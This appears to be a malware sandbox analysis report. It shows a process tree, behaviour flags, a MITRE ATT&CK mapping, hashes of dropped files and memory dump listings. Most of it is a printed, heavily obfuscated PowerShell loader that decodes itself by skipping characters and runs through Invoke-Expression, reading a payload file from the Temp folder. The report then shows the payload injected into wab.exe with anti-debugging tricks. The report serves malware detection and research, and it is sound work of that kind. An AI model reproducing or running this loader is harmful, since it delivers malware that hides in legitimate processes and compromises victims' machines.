NCOe0HeEFr1FuDDr1GlAhy1AnDDu0 L6fo0Di5Bo0FiCOp0Eq7So0 BCTu5OmARe4 O5Un4Re9 O4NiD J2stDUd0Va8Re0si4Pa1 S9No0Ba2La0DeCBe0EgDap0 F5An0GeCun0Ri7 B1MaATi4Un5Un4Kn9 a4StDtu3InCPa0VeDTj1PsASy0Kn6De0Af7Je0 L0 D0So7Se0SuEex1 AAPa4Sn0Pr4 E7 I3FlAHa0BeC C1TuDga2Sp0co0Lu4bo1Gr9Re0Re5Vo0KiCPa0Vi4 P0ToC s0Re7Be1FaDKd0Fe8Dn1GeDDy0Sk0Tr0Sp6Sk0Sg7Of2KvF V0Ny5 K0In8Bo0MoEUd1OtACh4Fe1Ar4EtD K2UdBfi0InCAe0Gl8Ek1SpB C0Lo7Do0 S8Va0Pe0Sk1KaARe0ChCMu1stAAr0Fl6dm1GrFTr1KeADy0arCFl0Te7Re5SuE V4In0Au'Ur;So&Ga(Li`$ArFSelSpuStgsatHasTjtEcoFal Se Vn FeUd7De)Tr Ch`$SeAClvOmaSpnAnc Pe KrEseMit Ssor4Mu;Gr`$GlA SvChaFanUncpieErrLoeUntInsOv5Te Un=Fu FVSuADiR N5Bu3Ly ex' m1CaBLk0StCEn1ExDSl1WaCLn1 AB V0St7 H4St9Fa4GrD H2 EDSt0TaCde0InA R0Cr0Pr1NaACr0 A0Pi1 AFPi5So8Dr5 UFpa5Be9Re4Ti7Il2GaABa1ToBKa0AfC F0 K8Di1MoDSo0 PCDr3FlDGr1Al0In1Lo9Vi0StCAr4 T1Po4Sk0 a' O;Cy&Su( G`$SiFPalGluprgUntkosDutRloStl NeLanHieIn7St)pr Dr`$OtANavInaGrnSycAmeTrrRgePatFas S5Mo Ta Ba R; B}No`$ KKPaoCymRipDeeOpnCosScaBltMai OoNan Ts SfInaSikActLyoForAgsShs kobkr Stbae UrbeiranBrgPhsRe sy= D FrVSuA RRSt5 V3 C T'Sk0pr2Si0ToCRe1SlB N0Or7 P0BeC F0St5No5LuADa5BeB E'Pe;St`$skSSipFooValSknFriCinFogSceTir S Ud= P BlVInAMiRCo5 P3Pa de'ka1WiCho1PoANo0MiCPr1BuB M5DeA B5PoB C'Gl; K`$ BAAul PkEgoInhSao NlTrtceeAmsSktaveLanEneUnsIn0St3Di Kn=Sk OvVCaASeR F5Hv3 P A'De2CoE G0SyC R1seDRu2 LASt0Ne6 R0 U7Mu1AeACo0Pe6Fr0Ov5Hj0 SCGu3ReEma0Bo0Cu0No7lo0AfDAr0Sh6Co1 JELi'Ud;Af`$BoAVilBakPaoLih doIml TtReeVesLotCoeFln Ae SsUa0Ko0Jv=EfVwhAAlRRa5 O3Pu X'Af3AcAAc0Fl1in0 K6Ko1TiEBr3SkEAl0Ci0Sm0 B7Ca0InDSp0ko6Fo1AcEPa'ko; A`$ mAHov SaMunInc CeRerSteVat VsDe6Ko Sc=sk DiVUoATrRAd5 V3Ag We' L4LaDga3Tr9Ra0StC S0 D7Il0ClCte1 SDRo1 PB T0Se8Mi1ReDSp0Bi0In1ToF F0Ma0ec1GaDSa1 K0Ud4 S9Pa5us4Ef4 P9br3 H2Mi3NaA E1Ti0Pi1UbAAn1WoD S0FiCNy0Kd4Re4Se7Ak3KiBRa1RoCBr0Ge7Pr1 GDAf0he0No0Fe4Su0 KCSt4Mu7Nd2 b0 L0Gt7Me1GrDPa0MgCSh1ovBma0Ar6Le1Sa9Ge3 DAMy0DuC A1GrBAr1 PFTi0Pe0Sv0AfASe0 ICre1UnAUn4Ko7 S2li4Ba0 T8Di1DeBCa1PrACe0 S1Ho0Al8Se0To5 d3Xy4Ar5Pr3Mi5 T3 E2 TECl0FaCWe1SkDca2RgDNi0baCPo0 H5Sk0ClCUf0UdELi0 F8Gr1SeD H0BaCDo2FeFCe0He6Fi1BaBBi2HaFDu1OpCFr0Aa7Or0SeADe1KuDUn0Fu0Ev0 U6Ju0Ud7an3 S9Se0Pr6Bj0Sl0Th0 M7Ke1 OD E0SoCDy1SvB O4 T1De4 s1Un0EsFTr0fo2Co1Re9Sp4In9Or4VsDCh2Ri2Ox0Bi6Fa0Tr4Ud1Pi9Sl0AsC M0As7Ov1TrA W0Ma8Cl1 CD a0Ev0Af0br6Ve0Ba7Un1FuAVa0RaFIn0Jo8 S0Sy2Re1FdDRe0Fu6Op1CaBSt1VaAeg1BeAAp0Gl6Fl1SaBTv1MeDBy0InC T1AfBBi0Fl0Sa0No7En0IsESt1TiACo4 R9 I4PhDCo2CoFFa0no5St1KuC R0PaEBi1 HDTi1SoAOl1feDGa0Di6Ne0to5Fr0 ECIm0ur7Jo0ArC L5GaDSo4Re0 E4Is5Bo4 U9Pr4du1Kv2 IECl2suDFl3 UDMa4su9ti2Kn9Gu4St1Re3 u2Pe2He0Ma0Fl7So1BrDKo3 K9St1MaD M1OvBDy3vi4St4 P5Un4 F9yp3Bo2ko3SpCSu2No0 C0 D7Tu1GoD Z5maARe5GeBVi3 V4Lu4 P5re4De9Co3Fo2Va3MiCDa2Sc0 I0Al7Lo1 SDAd5RaAIr5ReBSc3Bl4Co4Re5De4Sc9Ob3 T2 C3 BCNu2Ef0 U0Pr7Da1TaDFr5TrA F5FrB S3Mi4 S4Du0Mu4Ta9Re4Su1Ud3 V2Ba2Re0Be0Re7Re1 CDTr3So9An1MoDBl1 MB H3Ou4 K4Me0Se4Tr0 F4ki0Te'Kr; h&Re(Po`$KoFbrlIru VgPutExsAftAnoDil Le NnRheSt7Be)gr ba`$ MAStvBrakonGec BeBnrAfe StChsPe6Pr;Ak`$UnAspl PkBuoRdhLoo Tl PtTaeHasFitage AnLnePisLu0Am1Su Ko=Sp CeVNyA MRSn5po3Ti fl'No4DeDDe2Ca1in0Ud8Us0Bu5Se1ClFSn0SiDDi1 KBBe0gtCPr1OuA A4Ra9kv5Se4Bi4 P9 P3Ha2 m3VoA m1fj0 B1LyASt1MoDNo0TuC I0Ti4Am4ci7Sk3 uBMa1inCRo0 V7sk1ShD I0 L0Pe0Dg4An0VaCGe4ep7Va2St0Em0Al7Va1OfDSt0KnCFa1UnB F0Fr6Ci1Ch9Fi3saAAg0 SC S1 LB E1RhFMa0Ta0Pr0foAAn0GrCRe1TuA P4Ku7Un2ca4De0Ex8 u1PuBre1TiAIn0Kn1Fi0Pe8Bi0Su5pr3He4 S5Fy3Br5Da3Pu2HeESe0DyCVi1unDIm2soDDe0BrCSi0Kl5Un0 GCFu0StEHe0 V8Hu1BeDUd0saCtr2 KFTa0St6Fj1SqBNo2miFPa1UdC p0Se7As0ZoAEg1VeDBo0Ur0Pr0Mi6se0La7Me3Ob9Sc0Ne6eb0In0Ac0Ou7Un1CuDAa0NoCPl1unB R4In1 H4Da1 F0AnF p0Hi2Ad1 A9Qu4Do9An4BrDRe3SaA W1 A9In0Jo6En0 D5Te0Le7Pr0Ha0Na0Sm7No0SdEOp0 OCCh1InBAr4 E9No4AlDWe2Ch8Eb0Ag5An0 M2Le0Mi6Hu0Tr1Rv0da6 B0Ra5Wa1FiDSp0UnCTr1HoA F1 SDRs0ReCLa0Af7Dr0JeCSt1BiAVg5Ud9Pr5 C9 T4Ci0Ga4In5Ps4So9Sc4An1 H2UnEPh2BlDCr3OoDCo4Ch9Fl2tr9Di4br1Fl3Ba2ko2St0tr0Ot7Be1 GDSe3Pu9Ce1NoDty1SuBla3 S4Tr4De5Pa4 J9Pi3 F2 U3SpCBr2 B0Re0co7He1LyDEx5AfARe5naBSk3Vr4Fo4Un0 M4 V9Br4Sm1Ug3 B2Ra2No0pr0Al7Ka1CyDAd3Al9 n1PoD P1BlBFo3Fr4da4 B0 J4Af0Af4Au0At'no;dg&Mo( S`$TeFFolSeuDagMitGasActmoosul PeUtnMeesa7Se)Pa Sn`$ReAPrlTykCioNohtro ElCotCoeFasCetoveNynKreOsssu0Rd1Sp;Ag`$UsATilkrkAcoMahSkoRelThtOveAisUdtIneInnSyeKasCo0cu2Ba Tr=Gu FeVMaAcyRov5Af3Ph Fu'Ra4AkDCo3NoADa1 B9Ud0He0Im0Ud5As0Om8Hy0Nd7En1 IDSe0 C1Ad0 MCAf1ItA S4 R9Tr5bi4 P4Ca9Eu3Fa2 S3yoA E1Wa0Ti1SpAFe1BuDTj0SuCVe0ju4Po4Sl7 T3ApBGa1SmCSt0Bl7Fl1deDKk0Ch0Pa0Ta4Sm0 DCBe4Pr7In2Co0 O0Ks7No1FeDMe0KaCFi1CoBDe0 C6Te1Je9Se3NaAUn0ReC K1FuB s1PaFHo0Uf0El0SmATe0GaCOf1PrAtr4St7Tr2Em4Sa0Ud8 F1TeB S1 SATu0Un1De0Or8Bv0 D5Sl3Ma4di5Di3Sk5An3Ph2HaEfo0BeC U1UnD s2AuDAf0UnCTe0sy5Tu0NoCco0DeE P0 f8qu1teDSt0BaC U2 DFEt0Am6Ke1 sBBr2JoF E1 NC S0Mu7La0 WABa1biDvr0Fo0Eg0Ma6Re0De7Bi3Re9Ka0Dr6 L0Ov0Ty0ta7Da1PaDDa0FrCFo1DaBte4La1Ge4Te1Cr0 TF F0 M2 T1Su9Un4An9Tr4BsDRe2al2Fo0Hv6Ka0Li4Nu1Pa9Pr0BaCPr0Fr7Sl1LeAPi0 G8Le1GyDMe0Fo0kl0 P6St0Hn7 S1FoABr0 UFTe0Sp8Pr0Vo2As1CoDSt0 D6Pr1YeBVo1BeA H1 BAFl0Ko6 D1PuBBi1GrDGu0DuCEc1SaBBo0 N0Ly0At7Ta0StECc1ZoARe4Ba9 S4 SDam2Te8Hi0 L5 V0Op2Me0 U6Po0Ul1Me0In6He0Da5Al1MoDDe0SoCPa1 PALy1TiDSa0 LCBe0ru7Fl0 YC S1 MASl5Ta9 R5TrA R4Al0So4 p5Ap4Ar9 G4Je1 E2trEIa2 BDDr3TiDSp4Sp9 B2Un9 T4Kl1 G3Fr2 O2he0Ti0dy7Bi1DeDLa3St9Hy1EpDPu1OpB H3 U4 U4Za0Be4 Z9Op4 A1Lu3 U2Re2 E0Te0Bi7Kl1AtDno3Sa9Su1SeD K1KaBTr3Mo4hi4Ba0 H4Sp0My4Ma0Pl' P;Py&Co(Ke`$HuFPilElu cg Strhs HtDeoFllPre Gn Se P7 H) I Sa`$BoAPelTik Fo ShFoorulFotNde Ms CtTyeLonToe TsGt0Se2Fo; F`$UiAOrv SaDenBacseeSnrDeeMat Ds A7Tr T= K BrVSuASyRMi5Fo3Ca Ya'Md4PhDRe3Re3Ne1Hv0 P0VaELa0Bi6Ca0 S4Fo0Pr8So1UdD B0In0Ou0BdADe0Sp6 A0Re4Vo0La8Uf1 G1Ef0Jo0Ha0 L5Tr0Dy5Ov0Fr8 D1AsBMa1An0Un4Un9 C5Ka4Eu4Tv9Un4BaDUn3BrAHi1Se9 V0Or0 D0Re5Co0Sk8se0Ud7Cu1ScDCo0Sk1Re0AkCHi1ShASq4Im7Op2As0De0Po7kv1LaFFo0Di6Do0Be2Ox0prC P4 F1Sd5Wi9Se4Ln0Mo'ph;Po&Ro(Kn`$ UFFolSmuOrgCht Us UtNoo vl FeStnSaeOv7Sk)Fi Ci`$knASkvNyaDanNacStePurReebrtThs U7Ne;Re`$ RAAbvCoaMen CcDieForGeeIstTesKl7Te ka=Ve sVTiAMuR R5Lf3 I Mr'Ca4ToDMi2ma1Pe0Do8Co0Ba5st1 RFEx0leDDi1meBSu0OsC K1BeAPr4De7St2 L0Cr0Go7Pr1FaFUd0Ba6Ba0em2Rr0OrCBe4 V1 R4 aDIn3 M3St1tr0Fo0HeE F0Ud6Mo0Ma4 M0 U8 D1AlDVa0 V0Gr0PaAPr0Fo6 K0 I4Ca0Ba8Li1Fo1 T0Cl0Pe0Vi5Su0El5Un0Ra8 F1okBHj1Re0ko4Ko5Un4La9Ha5Re9 C4Af0Sa'Li;at&Bo(Sp`$TrFDrlReuGrgEptstsSetskoSllSceKonDie I7Ge)He Ho`$AlA FvSwa QnPecAne BrFreImtBisDi7Lu;Os`$MatJuo Fl SdPrp IlSeiTrg PtGii PgsheBurBasAttUneterInsCa Le=My BfBakTopIn Pe`$SuFValAnu EgBetFisLitCaoNalOmeLen BeTa5An Am`$BlFMalPru RgRntRasSotkoosplSueSunWheGi6Fi; U`$AnAWivUna Fn LcspeFlrOfeGntSusZi7do Rr=up VaVSyAWaR P5Mu3Ph Oe'Sl4kvDTo3JyBVa0ti8Op0Ly7Or0Py2Pi0Pl5Ha0In0Di0Ac7In0DuERi0St5En1De0Le5KoANe4Ba9Te5 p4Na4sl9Ph4QuDSa3La9Oc0SlCRe0 L7Ra0 UCAa1InD I1ArBca0Po8We1TaDPy0Mi0Di1 sFBl0 T0 H1SyD E1Fo0Sk4Pi7En2Sh0Ex0 K7Af1ArFRe0 P6Di0Sp2Fj0noCTo4 F1Sh3Od2Sp2ad0Ku0Te7Re1WhD M3jo9Ov1MeDAd1PrBMu3Sa4Fo5 B3he5fe3 B3Kn3 F0AcCOp1NyBSj0Ai6Rg4Ra5He4Ur9Ae5DaFLe5 UAKu5 S8Ne4Lu5St4Lo9St5Br9Ba1St1Wa5OsACi5Ra9ga5 R9Su5St9He4Su5Be4As9Un5Tr9So1Sp1Sa5GeD O5Pi9 S4Ka0Be'Pa;Fa&Op(Bl`$GlFSalRhuElgPitSosAftVioudlBre En re f7Ly)Up Te`$PbA UvMaaKnnBrctee ArMyeNotfrsDi7Om;Fd`$StAMavTiaImnTac ReNar OeDotPrsSk8Ph Om=Br ScVPoAGeR W5Ny3 o Al'Su4 PDAf3BeAPr0KlC A0Pu5 H1AnFso0DeBAf0ReCil1LeDBe0Be3Vo0UnC G0Ho7 D0Ex0 L0Be7Kr0DeEDe1 BAji0ToBTe1SkCUn1 TD H0Ne0Pa0Ex2Am0Ge2 T0BrCIm1ToBHj4Am9 H5Sp4Fu4Ne9su4JoDBr3 O9Ne0InCSt0 U7pr0 SCHy1AnDLa1FoBBo0As8qu1ToDUn0Nr0Me1waFKa0St0Re1ReDSt1In0 S4Ma7So2 C0 S0 E7 P1 LFCh0Re6Hi0Pa2ma0 VCWa4Fi1to3Bu2Ri2Ox0Si0Pe7Uf1PaDIn3Ir9Ge1miDUl1 GBDe3 G4in5Re3sk5 r3Sh3sk3Gr0UnCTr1JaBAt0pl6Ud4Ab5ab4 P9Un5DrAGr5He8 S5ReECa5PoBEm5VeEru5InFMa5af8Si5 EFSt4Uv5Un4Ha9St5Ba9 U1Be1ti5 KATo5Ph9To5Sk9Po5Be9Ku4My5Tr4Os9In5 P9 O1Ls1Fe5AfDTr4Sp0Be'Fr; D& A(Go`$InFcolIgu PgAktAns RtFlo LlCeelinSue I7At)Ov As`$OxAEtv FaIgnMicsseSprUneLetDis I8 L;In`$KaRPra OnStk El EiSynDigDalUhyAc2Li=In`"""Ko`$beeSun AvCr:FgTAsEChM vP U\LobudaLakVokPae RgFlaKlarirNadNoe BnFl\ArvRea FgDoiRenEnaUneAfrDrnSleVa\CoUEmnHyp FrGuiSkmNoiKatUoiFrvRoePal oy G6Up3Ca\DrjBinNdeEmnTaeBr\ AGDirFrachn EtTrsKa\ AUFanShiagnpotSurKueMapMoi DdTanBiedesMas M1Kl8Sc5Me.ViFGaoMhrPl`"""Ra;Tp`$ AAVevGraUdnFucHaeFer ReLet Ws O9Te Tr= S IdVmeAScRCo5Kr3Fl Fa'Pe4 SDUl2As8Gr1KlF F0Pr8 F0 M7Cy0LaAdu0 CCAr1MoBUd0inC B1poDDe1 PAAt4Ix9 S5Ha4Ar4Up9Si3Kn2Dy3 PAHa1Im0 I1 SACa1OpDde0ZuC O0Do4po4Co7Gr2Ac0Gr2In6Fr4Ta7Gj2PeFPr0Po0 R0Fo5Ou0SeC K3Le4 T5Fo3Ma5 B3Pr3NoB T0MiC O0No8At0ReDDe2 O8Lo0Bu5Op0Pr5Br2MyBUt1Hy0Mo1RoDEf0OpC F1CaA G4Fi1Un4LiDVi3NeB F0St8Sy0Sk7Tr0Ma2Do0Re5Re0Ak0Sp0wu7Re0upESh0gu5Is1 A0vl5MeBIs4Un0Re'Ru;Ag&Tr(Pi`$ZoFInlSvuMagSmt As BtAfoOml TeEnnPleGu7In)Sr Ls`$InAAsvSyaganPacafeBirAseBrtHes D9Ko;Gu`$ OLViaArgTeeSkrVuf SrCoiUdnOrg B0pe t=pr UnVSnAGaR G5 p3Mi Ca'St3 B2Er3AkAGe1To0Sm1PrASp1OpDSu0HeCfe0Hj4Af4Se7Dk3NaB I1NrCTj0Co7Pa1AnDRe0Fr0Sn0Bi4sk0OpC S4Ka7Ka2 F0Un0Sk7Fa1AfDLa0ExC K1RoBDo0St6Be1Ae9Be3SeA G0BaCGa1SeB M1EjFPa0hu0Ca0PaAcu0 uC D1LoASk4Hu7Ud2La4He0Br8Wa1NeBFo1NoAfj0 T1Un0 O8Ne0Ci5Mi3Te4 G5Se3st5Su3Br2HyAMe0 U6Fo1Li9Jo1Jo0Am4Og1Pl4InDLy2tr8Po1 TFEm0Ag8Ph0Mo7St0WhAAn0 oCRe1EyBTr0ReCHo1StD P1ReA L4In5Ne4Wi9Af5ToAEx5Ki9Du5OvB A5RoD V4Cu5Sc4Li9Re4Si9Ka4SpDAn3AaBCa0Pa8Hj0Pr7El0Pa2Pr0Ku5Bo0Ju0Te0Un7Pe0HoERa0Is5Ap1Eg0me5AbALo4Ln5Gu4Tr9La5 SFTi5UnA V5De8As4Ku0St'Qu;Aa& P( U`$DoFTrlTeuUdg PtSisVet ToPrlPreOmnUneTe7Gi) S se`$BiLOcaFlgFoeForBefUsrSkiStnBrgHo0Ta; P`$CoCAsyEcc DlReoTip MiPhsUnmFo=Sk`$OcANovNoaHenMecSceDertieHyt SsSk.NocTuoGauKan StLs-An6Ov3Me1Ir-Te3Re0pe2Ny4Ha;Ou`$ KLFlaOpgUde NrRef HrAfiGrnNegSk1As Su=Ex FVdeANaR b5Pa3Va Se'ba3Un2Sy3RoAGl1 T0ov1SiAFr1 SDBu0FoCIn0Fo4Du4Co7Br3FrBDe1CiCan0Ly7st1LaD O0 U0 F0 E4Re0 FCHe4ga7Br2Ge0 E0he7 M1MaDch0FoCAe1AlBGr0 n6Re1 V9De3 SATo0PrCLe1StBCo1ExFPa0 C0Kn0UsABa0GaCMu1 PAJu4 D7Fi2 R4Va0Fi8 P1PrBen1TeAUd0Je1Sa0In8Ap0 K5En3To4Un5Va3Sk5Mo3Ir2buADi0Fe6Pr1Pe9 D1 S0Sk4Ko1Di4 DDCu2Ti8Ud1SpFNi0Na8Ud0Tj7Co0 RADi0MeCXe1InBIn0 ECEl1PhDFd1NoAWa4An5Ka4Tu9De5MeFAn5CaAPe5Su8sa4Fn2Ko5TaA R5 T9Re5skBFj5AbDAf4Pr5El4Co9Le4heDLa3 CADi0 nCCo0Tu5Ju1BlFtr0DeBCo0UfCgl1SaDGu0Tr3ur0StCHy0Br7Ov0Ni0Mo0 G7Pa0 fEFr1StARe0 NBTr1 CCSa1UlDWh0Lo0Fe0bi2Ud0Sl2Ss0MeCDr1ReBKr4 E5Bi4He9Ov4ScD F2WiASw1Mi0Bi0WhATe0An5Na0Te6Ko1Bo9Sp0Re0 e1 FAhe0ar4Tu4ra0 n' S; F&Br(Re`$ MFAdl GuAcg BtAnsCotplo elTreArnUueKa7 R)Fo to`$ FL SaMogCae HrHefSir FiHenOvghy1Gr;Ca`$PrLSpaAagmeeZorMof FrHoiAsnFogKn2Ce St=He TuV WAFaRdi5Ef3Bl Un'ar4PeDFi3StASp1 HDUn0 I8Ta0 s2Ha0Dr0Ta1InDKa1 ADSc0 SCOv1 RBIn0Te7Se0InCSi4Un9St5Al4Sy4Bl9Ak3 S2Br3RaADo1Ut0Ci1 SASo1inDLy0unCCr0Fe4Hy4Sh7Re3CiBSy1 DCAd0Tr7 R1KuDPe0Va0An0so4He0HiCDi4Ve7Sc2Sa0Ge0Po7 B1VoDCa0PrCMa1PrBTu0No6Pa1et9Ps3HoA A0 FC L1TuBKy1eaFUd0Ti0En0FoAsu0KaCPa1FyAUn4 H7Qu2An4ju0Op8Cr1MiBAn1DrASe0Cu1 F0Su8 F0bl5 u3Ce4gl5sk3Ya5Fo3Cy2DeE T0 OCRe1 PDSl2BnDCh0 TCKl0 S5 U0DaCOr0FiEFe0Au8Fo1InDTa0 ECSt2MeF M0Po6re1meBOv2ByF I1ViC R0Sk7My0IlANg1 SDte0Ud0Pa0 U6Bu0 D7Ki3St9He0Re6 b0ep0 P0Eg7Ge1CoDDi0naCJo1UnB W4Ko1 M4Av1Ul0InFex0be2Th1Sk9Tr4As9Pr4DaDDi3 s9Kr0Pe6Un0Bu2 i0DaCPr1BeB T0Up8To0Bi7 U1ByAKa0Pr0Sk0UoEJu1PuDGi4En9 B4AfDTo2Ko7ma0Vo6So0In7Fo0SuBwa1blCKa0Ch5Ha0ClB N0Ho8Me1 FBHu4To0Tr4 H5 B4 I9Da4Mi1In2SyEHe2UdD T3AdDCi4Un9Sm2 M9Tr4Ch1 D3 T2Va2Me0Li0Fa7Fu1KoDOu3Sv9Ko1LaD S1OvBHa3Fi4me4Ga5 P4mo9Ec3 E2Qu2Di0 t0Ga7Th1DrDSu3bu9Tu1FoDHy1DaBfl3Gu4Tr4Un5Gr4vi9No3Gl2Di2 P0Ya0Po7To1 EDAn3Th9Sy1GrDKa1SoBBe3Co4Po4Do5sh4Sa9in3 A2co2 P0Je0Os7 S1BiDAk3 T9Hy1KyDAt1CoBFl3Gl4Re4Sp5Di4Ok9St3Co2Mi2Ma0 U0 S7Fi1 HDLa3 F9 U1FoDRo1FaBOp3Em4hv4Ef0bo4 T9 K4an1Du3 P2Be2Fo0Be0 d7Gu1 SDKl3Re9pr1fiD r1StBDe3Sh4 F4di0Fi4Ch0Re4Un0St' O; A&af(gr`$CrFAal Ou SgHytKrsRat PoLalEveBonNaeSy7Fa)Be pa`$ RLPiaUngTheSerUnf HrItiFrnTigKi2 S;Ce`$ MLFaaMugCie NrSef FrVai UnKagBu3Ma Co=Ir SpVSeAOoR K5Ri3Fd K'Se4NeDUn3UfAMi1 MDOv0kl8Un0Ru2Ma0Ma0 F1 GDKo1GuDUd0SiCDr1 SBIn0Au7Pe0SlCDi4 D7La2Gi0 c0Pe7 D1ObF O0Ma6 T0Al2Fu0alCKl4Vk1Bi4InDUf3 BB M0Al8In0 D7 A0gl2Is0 r5Ta0No0 B0de7 S0CoEDe0Un5Ex1im0 R5JiACh4Pa5Zi4UnDBe3UnAle0ElC R0Ta5Sg1 TFAv0 aBSt0HaCPo1EyDBo0Rd3sp0 GC U0Vi7 T0Pr0Jo0 U7Ci0AsE B1PeASo0AnBIn1 KCPu1BeD B0Ru0Bo0Hj2Lu0 N2al0KiCHu1DiBSl4Ne5si4PlD K1DeD B0Ha6Re0Ju5Re0AnD s1Pa9Sy0co5De0Ru0Be0ArEPa1SoDAf0Id0Un0puE R0UaC R1TrBAn1 sAJo1JuDAa0 HC C1MoB a1SeA H4Ud5Ki5Re9Pa4An5No5Ro9Cr4 A0Op'Hi;Op&St(No`$GaFCalpruRmgKltUnsCatDoopelSpeJunEue R7 F)ka Pl`$AlLhoaNygSkeferClfTrrSdiDrnTig G3 F# L;""";<#Pebersvend Tilbjelig Prioritetsraekkefoelge Sanctioner Driftssystemmet entoprocta #>;;function Lagerfring8 ($Kompensationsfaktor,$toldpligtige) { &$Mitzvah0 (Lagerfring9 'Na$PrKBaoEnmFipBueIdn Ss SaditJuiFooConhosSefReaNakont SoOdr B Ro-Bib VxHeoElrUn Re$Got Eo AlTrdGyp IlSaiOrg NtMaiQugTheSo ');};Function Lagerfring9 { param([String]$Tarpeian); <#Paleopotamoloy Mormal Syndefuldt Bandeordets Broderiernes #>; $Testimonialiser=2+1; For($Svampestuvningerne=2; $Svampestuvningerne -lt $Tarpeian.Length-1; $Svampestuvningerne+=($Testimonialiser)){ <#Growled Glasuldsfabrikkens Indkaldtes Jailer #>; $Alkoholtestenes+=$Tarpeian.Substring($Svampestuvningerne, 1)} $Alkoholtestenes;};;$Mitzvah0 = Lagerfring9 ' CISkESkXMo ';$Mitzvah1= Lagerfring9 $Moro;&$Mitzvah0 $Mitzvah1;<#Klipspringer klassekamps Kryptons Reboundingness sprogklassers Alienness Fosterstilling #>;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2556
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:1108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\bakkegaarden\vaginaerne\Unprimitively63\Trskostvlens\Hudibrastically.Tor

Filesize
25KB

MD5
1c50c9629a6e3e1e5bf898b22c6d49b1

SHA1
e1d71f4956601edce4ac0abb3a778734ff93115f

SHA256
0ca5063ac0b78aeaf8ef61f0e51b6bf7ed935be5f49618a3e99d6af15f9b8614

SHA512
6c4284a6b1437707dfc35a8c5b925617ea76341f44d39b6a631f43f73a8eb0b071a541895f07e94841ba68a77d304f96b46270ddd636df94eb4d0b3d7ebd4040

Download Submit
C:\Users\Admin\AppData\Local\Temp\bakkegaarden\vaginaerne\Unprimitively63\jnene\Grants\Unintrepidness185.For

Filesize
400KB

MD5
2468923d3edd1ba8a2e375878fb3711f

SHA1
14922112c5eeb4818b730a8a5f3078550516b1bd

SHA256
76486b9fec7e168bf5effb9cf4e281eaa75f48a170b181ccd46b8e8d3af8bf04

SHA512
0eed3f1829d84ba643df07b6e00347111f75fce566eb50276b69a5d7c0a8efb2931f5f3c0a183a10e65276b5d4d57a01e3d06b55bef39307f04b378d24aefcfe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
b5a603945efb63e041da185d11b667dc

SHA1
bb8acd0648a1b285d93a1d20d88bf6979a1eae10

SHA256
91fec8aae9ed1da093a024a6848c3861af5474838c3368a999f55f29b90cc8b9

SHA512
cd709b791557d8b0b72028610c24defff44c86344e9536facbc78e1401004a43ef5ab78269ba61a872a924f035bf084153b227aeb2f8163c5ce779363eebb48f

Download Submit
memory/1108-49-0x00000000774F0000-0x0000000077699000-memory.dmp

Filesize
1.7MB

Download
memory/1108-48-0x0000000000880000-0x00000000026C2000-memory.dmp

Filesize
30.3MB

Download
memory/1108-47-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/1108-45-0x00000000774F0000-0x0000000077699000-memory.dmp

Filesize
1.7MB

Download
memory/1108-43-0x0000000000880000-0x00000000026C2000-memory.dmp

Filesize
30.3MB

Download
memory/1108-41-0x0000000000400000-0x0000000000581000-memory.dmp

Filesize
1.5MB

Download
memory/2556-42-0x0000000005E20000-0x0000000007C62000-memory.dmp

Filesize
30.3MB

Download
memory/2556-36-0x00000000774F0000-0x0000000077699000-memory.dmp

Filesize
1.7MB

Download
memory/2556-31-0x0000000005140000-0x0000000005141000-memory.dmp

Filesize
4KB

Download
memory/2556-32-0x0000000005E20000-0x0000000007C62000-memory.dmp

Filesize
30.3MB

Download
memory/2556-33-0x0000000005E20000-0x0000000007C62000-memory.dmp

Filesize
30.3MB

Download
memory/2556-54-0x0000000005E20000-0x0000000007C62000-memory.dmp

Filesize
30.3MB

Download
memory/2556-29-0x00000000027E0000-0x0000000002820000-memory.dmp

Filesize
256KB

Download
memory/2556-27-0x00000000027E0000-0x0000000002820000-memory.dmp

Filesize
256KB

Download
memory/2556-37-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2556-38-0x00000000027E0000-0x0000000002820000-memory.dmp

Filesize
256KB

Download
memory/2556-39-0x00000000027E0000-0x0000000002820000-memory.dmp

Filesize
256KB

Download
memory/2556-40-0x00000000776E0000-0x00000000777B6000-memory.dmp

Filesize
856KB

Download
memory/2556-26-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2556-28-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2672-35-0x00000000022A0000-0x00000000022E0000-memory.dmp

Filesize
256KB

Download
memory/2672-16-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2672-19-0x00000000022A0000-0x00000000022E0000-memory.dmp

Filesize
256KB

Download
memory/2672-18-0x00000000022A0000-0x00000000022E0000-memory.dmp

Filesize
256KB

Download
memory/2672-17-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2672-34-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download
memory/2672-55-0x00000000741B0000-0x000000007475B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing